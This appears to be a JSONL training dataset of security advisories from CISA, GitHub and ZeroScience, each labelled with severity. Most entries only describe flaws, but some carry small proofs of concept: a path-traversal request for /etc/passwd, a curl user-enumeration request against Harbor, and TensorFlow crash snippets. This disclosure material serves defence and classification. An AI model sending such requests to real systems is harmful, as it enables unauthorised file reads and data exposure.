-{"id": "6ab1632d9e0e0da8a529", "text": "Apple iOS, iPadOS, and macOS Type Confusion Vulnerability\n\nAffected: Apple iOS, iPadOS, and macOS\n\nApple iOS, iPadOS, and macOS contain a type confusion vulnerability in the XNU which may allow a malicious application to execute code with kernel privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-843\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS, iPadOS, and macOS Type Confusion Vulnerability\n\nAffected: Apple iOS, iPadOS, and macOS\n\nApple iOS, iPadOS, and macOS contain a type confusion vulnerability in the XNU which may allow a malicious application to execute code with kernel privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-843\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "cdd610e4af4da1dee28e", "text": "OS Command Injection in node-prompt-here\n\nnode-prompt-here through 1.0.1 allows execution of arbitrary commands. The `runCommand()` is called by `getDevices()` function in file `linux/manager.js`, which is required by the `index. process.env.NM_CLI` in the file `linux/manager.js`. This function is used to construct the argument of function `execSync()`, which can be controlled by users without any sanitization.", "text_raw": "OS Command Injection in node-prompt-here\n\n[Severity: CRITICAL]\n\nnode-prompt-here through 1.0.1 allows execution of arbitrary commands. The `runCommand()` is called by `getDevices()` function in file `linux/manager.js`, which is required by the `index. process.env.NM_CLI` in the file `linux/manager.js`. This function is used to construct the argument of function `execSync()`, which can be controlled by users without any sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "81d2a1f4f99c485e8ff3", "text": "Art Systems FluidDraw P5/S5 5.3n Binary Planting Arbitrary Code Execution", "text_raw": "Art Systems FluidDraw P5/S5 5.3n Binary Planting Arbitrary Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-01-17", "split": "train"}
-{"id": "6d17beb2adcd9bd418f8", "text": "Directory Traversal in augustine\n\nAffected versions of `augustine` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n## Proof of Concept\n```http\nGET //etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo direct patch is available at this time.\n\nCurrently, the best mitigation for this flaw is to use a different, functionally equivalent static file server package.", "text_raw": "Directory Traversal in augustine\n\n[Severity: MEDIUM]\n\nAffected versions of `augustine` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n## Proof of Concept\n```http\nGET //etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo direct patch is available at this time. \n\nCurrently, the best mitigation for this flaw is to use a different, functionally equivalent static file server package.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-18", "split": "train"}
-{"id": "375c2aa8490da9eb1ed2", "text": "Microsoft Windows Local Security Authority (LSA) Spoofing Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Local Security Authority (LSA) contains a spoofing vulnerability allowing an unauthenticated attacker to call a method on the LSARPC interface and coerce the domain controller to authenticate against another server using NTLM.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-749\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Local Security Authority (LSA) Spoofing Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Local Security Authority (LSA) contains a spoofing vulnerability allowing an unauthenticated attacker to call a method on the LSARPC interface and coerce the domain controller to authenticate against another server using NTLM.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-749\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b5b0379d1544134f21bd", "text": "Duplicate Advisory: XML Injection in petl\n\n## Duplicate Advisory\nThis advisoerey has been withdrawn because it is a duplicate of GHSA-f5gc-p5m3-v347. This link is maintained to preserve external references.\n\n## Original Description\npetl before 1.68, in some configurations, allows resolution of entities in an XML document.", "text_raw": "Duplicate Advisory: XML Injection in petl\n\n[Severity: CRITICAL]\n\n## Duplicate Advisory\nThis advisoerey has been withdrawn because it is a duplicate of GHSA-f5gc-p5m3-v347. This link is maintained to preserve external references.\n\n## Original Description\npetl before 1.68, in some configurations, allows resolution of entities in an XML document.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "98b356b5464605ffc6fc", "text": "Improper Restriction of XML External Entity Reference in pikepdf\n\nmodels/metadata.py in the pikepdf package 1.3.0 through 2.9.2 for Python allows XXE when parsing XMP metadata entries.", "text_raw": "Improper Restriction of XML External Entity Reference in pikepdf\n\n[Severity: HIGH]\n\nmodels/metadata.py in the pikepdf package 1.3.0 through 2.9.2 for Python allows XXE when parsing XMP metadata entries.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "019d098e24dca7f45530", "text": "Apache Airflow vulnerable to Stored XSS\n\nA malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views.", "text_raw": "Apache Airflow vulnerable to Stored XSS\n\n[Severity: MEDIUM]\n\nA malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-12", "split": "train"}
-{"id": "0b01ca27c97236bfca47", "text": "Adobe Reader 9.3.2 (CoolType.dll) Remote Memory Corruption / DoS Vulnerability", "text_raw": "Adobe Reader 9.3.2 (CoolType.dll) Remote Memory Corruption / DoS Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-06-29", "split": "train"}
-{"id": "901ee74c8586c40da169", "text": "Improper Restriction of Operations within the Bounds of a Memory Buffer in Google TensorFlow\n\nGoogle TensorFlow 1.7 and below is affected by: Buffer Overflow. The impact is: execute arbitrary code (local). Users passing a malformed or malicious version of a TFLite graph into TOCO will cause TOCO to crash or cause a buffer overflow, potentially allowing malicious code to be executed.", "text_raw": "Improper Restriction of Operations within the Bounds of a Memory Buffer in Google TensorFlow\n\n[Severity: HIGH]\n\nGoogle TensorFlow 1.7 and below is affected by: Buffer Overflow. The impact is: execute arbitrary code (local). Users passing a malformed or malicious version of a TFLite graph into TOCO will cause TOCO to crash or cause a buffer overflow, potentially allowing malicious code to be executed.\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-24", "split": "train"}
-{"id": "82761a095a345b6dae6f", "text": "Global node_modules Binary Overwrite in bin-links\n\nVersions of  `bin-links` prior to 1.1.6 are vulnerable to a Global node_modules Binary Overwrite. It fails to prevent globally-installed binaries to be overwritten by other package installs. For example, if a package was installed globally and created a `serve` binary, any subsequent installs of packages that also create a `serve` binary would overwrite the first binary. This behavior is still allowed in local installations.\n\n## Recommendation\n\nUpgrade to version 1.1.6 or later.", "text_raw": "Global node_modules Binary Overwrite in bin-links\n\n[Severity: LOW]\n\nVersions of  `bin-links` prior to 1.1.6 are vulnerable to a Global node_modules Binary Overwrite. It fails to prevent globally-installed binaries to be overwritten by other package installs. For example, if a package was installed globally and created a `serve` binary, any subsequent installs of packages that also create a `serve` binary would overwrite the first binary. This behavior is still allowed in local installations.\n\n\n## Recommendation\n\nUpgrade to version 1.1.6 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "e0f3d9626485546b12c9", "text": "Authenticated users can exploit an enumeration vulnerability in Harbor\n\n### **Impact**\n\nHidde Smit from Cyber Eagle has discovered an User Enumeration flaw in Harbor. The issue is present in the \"/users\" api endpoint. This endpoint is supposed to be restricted to administrators. This restriction is able to be bypassed and information can be obtained via the \"search\" functionality.\n\nNon-administrator users (such as those created via self-registration) can list all usernames and user IDs by sending a GET request to /api/users/search with parameter \"username\" and value \"_\", as follows:\n\n`curl -X GET \"https://<host>/api/users/search?username=_\" -H \"accept: application/json\" --user <user>:<password>`\n\nThe vulnerability was immediately fixed by the Harbor team and all supported versions were patched. With the patched versions of Harbor, the username is required for search and we have removed the support for querying by email.\n\n### **Patches**\nIf your product uses the affected releases of Harbor, update to either version 2.1.0 or 2.0.3 to fix this issue immediately\n\nhttps://github.com/goharbor/harbor/releases/tag/v2.1.0\nhttps://github.com/goharbor/harbor/releases/tag/v2.0.3\n\n### **Workarounds**\nThere is no workaround for this issue\n\n### **For more information**\nIf you have any questions or comments about this advisory, contact cncf-harbor-security@lists.cncf.io\nView our security policy at https://github.com/goharbor/harbor/security/policy\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13794", "text_raw": "Authenticated users can exploit an enumeration vulnerability in Harbor\n\n[Severity: MEDIUM]\n\n### **Impact**\n\nHidde Smit from Cyber Eagle has discovered an User Enumeration flaw in Harbor. The issue is present in the \"/users\" api endpoint. This endpoint is supposed to be restricted to administrators. This restriction is able to be bypassed and information can be obtained via the \"search\" functionality.\n\nNon-administrator users (such as those created via self-registration) can list all usernames and user IDs by sending a GET request to /api/users/search with parameter \"username\" and value \"_\", as follows:\n\n`curl -X GET \"https://<host>/api/users/search?username=_\" -H \"accept: application/json\" --user <user>:<password>`\n\nThe vulnerability was immediately fixed by the Harbor team and all supported versions were patched. With the patched versions of Harbor, the username is required for search and we have removed the support for querying by email.\n\n### **Patches**\nIf your product uses the affected releases of Harbor, update to either version 2.1.0 or 2.0.3 to fix this issue immediately\n\nhttps://github.com/goharbor/harbor/releases/tag/v2.1.0\nhttps://github.com/goharbor/harbor/releases/tag/v2.0.3\n\n### **Workarounds**\nThere is no workaround for this issue\n\n### **For more information**\nIf you have any questions or comments about this advisory, contact cncf-harbor-security@lists.cncf.io\nView our security policy at https://github.com/goharbor/harbor/security/policy\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13794", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "32df6cb809a218eb4768", "text": "FIBARO System Home Center v5.021 Remote File Include XSS", "text_raw": "FIBARO System Home Center v5.021 Remote File Include XSS\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-03-22", "split": "train"}
-{"id": "97b3897fee08764807dd", "text": "Deserialization of Untrusted Data in jackson-databind\n\n**Withdrawn:** Duplicate of GHSA-cjjf-94ff-43w7", "text_raw": "Deserialization of Untrusted Data in jackson-databind\n\n[Severity: HIGH]\n\n**Withdrawn:** Duplicate of GHSA-cjjf-94ff-43w7", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "aa216abf326cb68475ed", "text": "Malicious Package in bictore-lib\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bictore-lib\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "2a16835b19c4233c6579", "text": "Smartwares HOME easy v1.0.9 Client-Side Authentication Bypass", "text_raw": "Smartwares HOME easy v1.0.9 Client-Side Authentication Bypass\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-11-05", "split": "train"}
-{"id": "1c8513a11f89321869cd", "text": "Path Traversal in node-red-contrib-huemagic\n\nnode-red-contrib-huemagic 3.0.0 is affected by `hue/assets/..%2F` Directory Traversal.in the `res.sendFile` API, used in file hue-magic.js, to fetch an arbitrary file.", "text_raw": "Path Traversal in node-red-contrib-huemagic\n\n[Severity: HIGH]\n\nnode-red-contrib-huemagic 3.0.0 is affected by `hue/assets/..%2F` Directory Traversal.in the `res.sendFile` API, used in file hue-magic.js, to fetch an arbitrary file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "47bb777a7fd0dcfc2f9c", "text": "Cross-Site Scripting in gitbook\n\nAffected versions of `gitbook` do not properly sanitize user input outside of backticks, which may result in cross-site scripting in the online reader.\n\n## Recommendation\n\nUpdate to version 3.2.2 or later.", "text_raw": "Cross-Site Scripting in gitbook\n\n[Severity: MEDIUM]\n\nAffected versions of `gitbook` do not properly sanitize user input outside of backticks, which may result in cross-site scripting in the online reader.\n\n\n## Recommendation\n\nUpdate to version 3.2.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8e1b5071a39eeeaaca6e", "text": "Heap buffer overflow in `SparseTensorToCSRSparseMatrix`\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices:\n\n```python\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops\n\nindices_array = np.array([[0, 0]])\nvalue_array = np.array([0.0], dtype=np.float32)\ndense_shape = [0, 0]\n\nst = tf.SparseTensor(indices_array, value_array, dense_shape)\n\nvalues_tensor = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(\n       st.indices, st.values, st.dense_shape)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/800346f2c03a27e182dd4fba48295f65e7790739/tensorflow/core/kernels/sparse/kernels.cc#L66) does a double redirection to access an element of an array allocated on the heap:\n\n```cc\ncsr_row_ptr(indices(i, 0) + 1) += 1;\n```\n\nIf the value at `indices(i, 0)` is such that `indices(i, 0) + 1` is outside the bounds of `csr_row_ptr`, this results in writing outside of bounds of heap allocated data.\n\n### Patches\nWe have patched the issue in GitHub commit [1e922ccdf6bf46a3a52641f99fd47d54c1decd13](https://github.com/tensorflow/tensorflow/commit/1e922ccdf6bf46a3a52641f99fd47d54c1decd13).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `SparseTensorToCSRSparseMatrix`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices:\n\n```python\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops\n\nindices_array = np.array([[0, 0]])\nvalue_array = np.array([0.0], dtype=np.float32)\ndense_shape = [0, 0]\n\nst = tf.SparseTensor(indices_array, value_array, dense_shape)\n\nvalues_tensor = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(\n       st.indices, st.values, st.dense_shape)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/800346f2c03a27e182dd4fba48295f65e7790739/tensorflow/core/kernels/sparse/kernels.cc#L66) does a double redirection to access an element of an array allocated on the heap:\n\n```cc\ncsr_row_ptr(indices(i, 0) + 1) += 1;\n```\n                      \nIf the value at `indices(i, 0)` is such that `indices(i, 0) + 1` is outside the bounds of `csr_row_ptr`, this results in writing outside of bounds of heap allocated data.\n\n### Patches\nWe have patched the issue in GitHub commit [1e922ccdf6bf46a3a52641f99fd47d54c1decd13](https://github.com/tensorflow/tensorflow/commit/1e922ccdf6bf46a3a52641f99fd47d54c1decd13).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "7b1578a736fb9fcc5942", "text": "Denial of Service in @hapi/ammo\n\nVersions of `@hapi/ammo` prior to 3.1.2 or 5.0.1 are vulnerable to Denial of Service. The Range HTTP header parser has a vulnerability which will cause the function to throw a system error if the header is set to an invalid value. Because hapi is not expecting the function to ever throw, the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nUpgrade to version 3.1.2 or 5.0.1.", "text_raw": "Denial of Service in @hapi/ammo\n\n[Severity: HIGH]\n\nVersions of `@hapi/ammo` prior to 3.1.2 or 5.0.1 are vulnerable to Denial of Service. The Range HTTP header parser has a vulnerability which will cause the function to throw a system error if the header is set to an invalid value. Because hapi is not expecting the function to ever throw, the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nUpgrade to version 3.1.2 or 5.0.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "07de45db01eca5b54454", "text": "Andromeda Streaming MP3 Server v1.9.3.6 (s param) Remote XSS Vulnerability", "text_raw": "Andromeda Streaming MP3 Server v1.9.3.6 (s param) Remote XSS Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2012-05-09", "split": "train"}
-{"id": "2030d70f9f93b2d619c6", "text": "Regular expression denial of service (ReDoS) in EmailValidator class in Vaadin 7\n\nUnsafe validation RegEx in `EmailValidator` class in `com.vaadin:vaadin-server` versions 7.0.0 through 7.7.21 (Vaadin 7.0.0 through 7.7.21) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.\n\n- https://vaadin.com/security/cve-2020-36320", "text_raw": "Regular expression denial of service (ReDoS) in EmailValidator class in Vaadin 7\n\n[Severity: HIGH]\n\nUnsafe validation RegEx in `EmailValidator` class in `com.vaadin:vaadin-server` versions 7.0.0 through 7.7.21 (Vaadin 7.0.0 through 7.7.21) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.\n\n- https://vaadin.com/security/cve-2020-36320", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "0b40944cabb7ecd9c1b5", "text": "Downloads Resources over HTTP in galenframework-cli\n\nAffected versions of `galenframework-cli` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `galenframework-cli`.\n\n## Recommendation\n\nUpdate to version 2.3.1 or later.", "text_raw": "Downloads Resources over HTTP in galenframework-cli\n\n[Severity: HIGH]\n\nAffected versions of `galenframework-cli` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `galenframework-cli`.\n\n\n## Recommendation\n\nUpdate to version 2.3.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "2b051b7754216639158b", "text": "XSS vulnerability in company name field in Mautic\n\n### Impact\nMautic version 2.11.0 and earlier contains a Cross Site Scripting (XSS) vulnerability in Company's name that can result in denial of service and execution of javascript code.\n\n### Patches\nUpdate to 2.14.0 or later.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "XSS vulnerability in company name field in Mautic\n\n[Severity: MEDIUM]\n\n### Impact\nMautic version 2.11.0 and earlier contains a Cross Site Scripting (XSS) vulnerability in Company's name that can result in denial of service and execution of javascript code.\n\n### Patches\nUpdate to 2.14.0 or later.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "13d628aa11964e6f05cf", "text": "Malicious Package in getcookies\n\nThe `getcookies` module contained a backdoor that would allow for a remote attacker to execute arbitrary commands on the system running the malicious module.\n\n## Recommendation\n\nThis module should be uninstalled if found used within an application. In addition to removing the installed module, you will also want to evaluate your application to determine whether or not user data or systems were compromised.", "text_raw": "Malicious Package in getcookies\n\n[Severity: CRITICAL]\n\nThe `getcookies` module contained a backdoor that would allow for a remote attacker to execute arbitrary commands on the system running the malicious module.\n\n\n## Recommendation\n\nThis module should be uninstalled if found used within an application. In addition to removing the installed module, you will also want to evaluate your application to determine whether or not user data or systems were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "ab3e23b881b4cad4ca9f", "text": "Request injection in Spring Cloud Gateway\n\nApplications using Spring Cloud Gateway are vulnerable to specifically crafted requests that could make an extra request on downstream services. Users of affected versions should apply the following mitigation: 3.0.x users should upgrade to 3.0.5+, 2.2.x users should upgrade to 2.2.10.RELEASE or newer.", "text_raw": "Request injection in Spring Cloud Gateway\n\n[Severity: MEDIUM]\n\nApplications using Spring Cloud Gateway are vulnerable to specifically crafted requests that could make an extra request on downstream services. Users of affected versions should apply the following mitigation: 3.0.x users should upgrade to 3.0.5+, 2.2.x users should upgrade to 2.2.10.RELEASE or newer.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "b2f84b638127eab77a89", "text": "Data races in conquer-once\n\nAffected versions of conquer-once implements Sync for its OnceCell type without restricting it to Sendable types.\n\nThis allows non-Send but Sync types such as MutexGuard to be sent across threads leading to undefined behavior and memory corruption in concurrent programs.\n\nThe issue was fixed by adding a Send constraint to OnceCell.", "text_raw": "Data races in conquer-once\n\n[Severity: HIGH]\n\nAffected versions of conquer-once implements Sync for its OnceCell type without restricting it to Sendable types.\n\nThis allows non-Send but Sync types such as MutexGuard to be sent across threads leading to undefined behavior and memory corruption in concurrent programs.\n\nThe issue was fixed by adding a Send constraint to OnceCell.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9238b2584e8194bdc348", "text": "Deserialization of untrusted data in FasterXML jackson-databind\n\nSubTypeValidator.java in FasterXML jackson-databind before 2.9.9.2, 2.8.11.4, and 2.7.9.6 mishandles default typing when ehcache is used (because of net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup), leading to remote code execution.", "text_raw": "Deserialization of untrusted data in FasterXML jackson-databind\n\n[Severity: CRITICAL]\n\nSubTypeValidator.java in FasterXML jackson-databind before 2.9.9.2, 2.8.11.4, and 2.7.9.6 mishandles default typing when ehcache is used (because of net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup), leading to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-01", "split": "train"}
-{"id": "7d9a10da3c9262a02200", "text": "libtaxii Server-Side Request Forgery vulnerability\n\n\"TAXII libtaxii through 1.1.117, as used in EclecticIQ OpenTAXII through 0.2.0 and other products, allows SSRF via an initial http:// substring to the parse method, even when the no_network setting is used for the XML parser. NOTE: the vendor points out that the parse method \"wraps the lxml library\" and that this may be an issue to \"raise ... to the lxml group.\"\"", "text_raw": "libtaxii Server-Side Request Forgery vulnerability\n\n[Severity: CRITICAL]\n\n\"TAXII libtaxii through 1.1.117, as used in EclecticIQ OpenTAXII through 0.2.0 and other products, allows SSRF via an initial http:// substring to the parse method, even when the no_network setting is used for the XML parser. NOTE: the vendor points out that the parse method \"wraps the lxml library\" and that this may be an issue to \"raise ... to the lxml group.\"\"", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "404198c5fb65554a7db6", "text": "Open Redirect in ecstatic\n\nWithdrawn: Duplicate of GHSA-9q64-mpxx-87fg", "text_raw": "Open Redirect in ecstatic\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of GHSA-9q64-mpxx-87fg", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "39cf22315772be251f8b", "text": "Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder", "text_raw": "Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-02-10", "split": "train"}
-{"id": "9d33a282c6625514bd3c", "text": "PyCryptodome integer overflow vulnerability\n\nPyCryptodome before 3.6.6 has an integer overflow in the data_len variable in AESNI.c, related to the AESNI_encrypt and AESNI_decrypt functions, leading to the mishandling of messages shorter than 16 bytes.", "text_raw": "PyCryptodome integer overflow vulnerability\n\n[Severity: HIGH]\n\nPyCryptodome before 3.6.6 has an integer overflow in the data_len variable in AESNI.c, related to the AESNI_encrypt and AESNI_decrypt functions, leading to the mishandling of messages shorter than 16 bytes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-27", "split": "train"}
-{"id": "82c15795be5fd8fc7938", "text": "Path traversal in u-root\n\nThis affects all versions of package github.com/u-root/u-root/pkg/uzip. It is vulnerable to both leading and non-leading relative path traversal attacks in zip file extraction.", "text_raw": "Path traversal in u-root\n\n[Severity: HIGH]\n\nThis affects all versions of package github.com/u-root/u-root/pkg/uzip. It is vulnerable to both leading and non-leading relative path traversal attacks in zip file extraction.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "0d27932dfca5f897fbf7", "text": "Remote Memory Disclosure in bittorrent-dht\n\nVersions of `bittorrent-dht` prior to 5.1.3 are affected by a remote memory disclosure vulnerability. This vulnerability allows an attacker to send a specific series of of messages to a listening peer and get it to reveal internal memory.\n\nThere are two mitigating factors here, that slightly reduce the impact of this vulnerability:\n\n1. Any modern kernel will zero out new memory pages before handing them off to a process. This means that only memory previously used and deallocated by the node process can be leaked.\n1. Node.js manages Buffers by creating a few large internal SlowBuffers, and slicing them up into smaller Buffers which are made accessible in JS. They are not stored on V8's heap, because garbage collection would interfere. The result is that only memory that has been previously allocated as a Buffer can be leaked.\n\n## Recommendation\n\nUpdate to version 5.1.3 or later.", "text_raw": "Remote Memory Disclosure in bittorrent-dht\n\n[Severity: MEDIUM]\n\nVersions of `bittorrent-dht` prior to 5.1.3 are affected by a remote memory disclosure vulnerability. This vulnerability allows an attacker to send a specific series of of messages to a listening peer and get it to reveal internal memory.\n\n\nThere are two mitigating factors here, that slightly reduce the impact of this vulnerability:\n\n1. Any modern kernel will zero out new memory pages before handing them off to a process. This means that only memory previously used and deallocated by the node process can be leaked.\n1. Node.js manages Buffers by creating a few large internal SlowBuffers, and slicing them up into smaller Buffers which are made accessible in JS. They are not stored on V8's heap, because garbage collection would interfere. The result is that only memory that has been previously allocated as a Buffer can be leaked.\n\n\n## Recommendation\n\nUpdate to version 5.1.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "84151300bdb402d76446", "text": "Type confusion during tensor casts lead to dereferencing null pointers\n\n### Impact\nCalling TF operations with tensors of non-numeric types when the operations expect numeric tensors result in null pointer dereferences.\n\nThere are multiple ways to reproduce this, listing a few examples here:\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.random.truncated_normal(shape=1,mean=np.float32(20.8739),stddev=779.973,dtype=20,seed=64)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata =\ntf.random.stateless_truncated_normal(shape=1,seed=[63,70],mean=np.float32(20.8739),stddev=779.973,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.one_hot(indices=[62,50],depth=136,on_value=np.int32(237),off_value=158,axis=856,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.range(start=np.int32(214),limit=660,delta=129,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.raw_ops.ResourceCountUpTo(resource=np.int32(30), limit=872, T=3)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nwriter_array = np.array([1,2],dtype=np.int32)\nwriter_tensor = tf.convert_to_tensor(writer_array,dtype=tf.resource)\n```\n\nAll these examples and similar ones have the same behavior: the [conversion from Python array to C++ array](https://github.com/tensorflow/tensorflow/blob/ff70c47a396ef1e3cb73c90513da4f5cb71bebba/tensorflow/python/lib/core/ndarray_tensor.cc#L113-L169) is vulnerable to a type confusion:\n\n```cc\n  int pyarray_type = PyArray_TYPE(array);\n  PyArray_Descr* descr = PyArray_DESCR(array);\n  switch (pyarray_type) {\n    ...\n    case NPY_VOID:\n      // Quantized types are currently represented as custom struct types.\n      // PyArray_TYPE returns NPY_VOID for structs, and we should look into\n      // descr to derive the actual type.\n      // Direct feeds of certain types of ResourceHandles are represented as a\n      // custom struct type.\n      return 